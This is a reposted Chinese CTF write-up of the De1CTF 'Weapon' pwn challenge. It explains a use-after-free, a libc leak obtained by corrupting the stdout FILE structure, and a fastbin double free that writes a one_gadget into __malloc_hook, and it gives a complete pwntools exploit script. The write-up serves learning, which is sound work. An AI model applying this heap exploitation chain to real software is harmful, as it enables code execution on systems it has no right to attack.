欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

De1CTF Weapon

程序员文章站 2022-03-27 20:41:58
...

1.保护机制

    [*] '/home/yzl/Documents/delta/weapon/pwn'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

2.漏洞分析

De1CTF Weapon
主要是一个uaf
难点主要在于没有输出函数,并且限制0< chunk size <=0x60。

3.漏洞利用

1) 伪造small chunk,free,fd、bk指针指向 libc

先构造一个0x20的bin 链表
De1CTF Weapon
De1CTF Weapon
De1CTF Weapon
再次malloc 0x18就能取得0x555555757100 处的chunk,这样我们就能将下面0x71的chunk 的size改为0xb1
De1CTF Weapon
再次free就能得到libc
De1CTF Weapon

2)修改 _IO_2_1_stdout_结构体 中的flag域,从而将libc泄露出来

libc地址用一下就好,把size改回0x70,把libc的\x78\x1b改为\xdd\x25,5dd是偏移,2是随便猜的,1/16的几率,多试几次就好
De1CTF Weapon
double free,控制_IO_2_1_stdout_结构体附近的内存,把flag改为0xfbad1800,至于为什么---->大佬这么说。但是我不知道为啥,并不能将_IO_write_base的最低位给修改了,但是不影响
De1CTF Weapon
然后会泄露出一坨东西,随便找一个libc地址然后就能得到libc_base
De1CTF Weapon
就它了

3) 向 _malloc_hook 写入one_gadget,getshell

double free,直接向__malloc_hook_写就好了

exp

from pwn import *
import LibcSearcher as ls 
context.log_level = 'debug'

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']


p = process('./pwn')
#p=remote('139.180.216.34',8888)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(index, size, name, choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '1')
        p.sendlineafter('wlecome input your size of weapon: ', str(size))
        p.sendlineafter('input index: ', str(index))
        if len(name) != size:
            name=name+'\n'
        p.sendafter('input your name:\n',name)
    else:
        p.sendlineafter('choice >> ', '1')
        p.sendlineafter('wlecome input your size of weapon: ', str(size))
        p.sendlineafter('input index: ', str(index))
        if len(name) != size:
            name=name+'\n'
        p.sendafter('input your name:',name)
    


def delete(index,choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '2')
        p.sendlineafter('input idx :',str(index))
    else:
        p.sendlineafter('choice >> ', '2')
        p.sendlineafter('input idx :',str(index))

def rename(index,name,choise=0):
    if choise==0:
        p.sendlineafter('choice >> \n', '3')
        p.sendlineafter('input idx: ', str(index))
        p.sendlineafter('new content:\n', name)
    else:
        p.sendlineafter('choice >> ', '3')
        p.sendlineafter('input idx: ', str(index))
        p.sendlineafter('new content:', name)

create(1, 0x60, '1')
create(2, 0x60, '2')
create(3, 0x20,'a'*0x10+p64(0)+p64(0x21))#伪造0x20 chunk,达到修改chunk 6 的chunk head的目的
create(6, 0x60, '6')
create(4, 0x1, '4')
create(5, 0x1, '5')



create(8, 0x60, '8')
create(9, 0x60, '9')
create(7,0x50,'a')

#make fake chunk
delete(4)
delete(5)
delete(4)
delete(6)
create(7, 0x1, '\x00')
create(7, 0x1, '\x00')
create(4, 0x1, '\x00')

#get libc
create(4, 0x12, p64(0) + p64(0xb1))
delete(6)
rename(4, p64(0) + p64(0x71) + '\xdd\x25')
create(7, 0x60, 'a')

#leak libc
create(7, 0x60, 'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)

print hex(libc_base + libc.symbols['__malloc_hook'])
malloc_hook=libc_base + libc.symbols['__malloc_hook']
offset=0xf1147
one_gadget=libc_base+offset

#change __malloc_hook to one_gadget
delete(8,1)
delete(9, 1)
delete(8, 1)

create(9, 0x60, '\x00',1)
create(9, 0x60, '\x00', 1)
rename(8, p64(malloc_hook -0x13), 1)
create(9, 0x60, '\x00', 1)

create(8, 0x60, 'a' * 3 + p64(one_gadget), 1)

p.sendlineafter('choice >> ', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(0x50))
p.sendlineafter('input index: ', str(1))
p.interactive()

https://hpasserby.me/post/8e1cd5dc.html#overlapping
https://bbs.pediy.com/thread-246966.htm

相关标签: pwn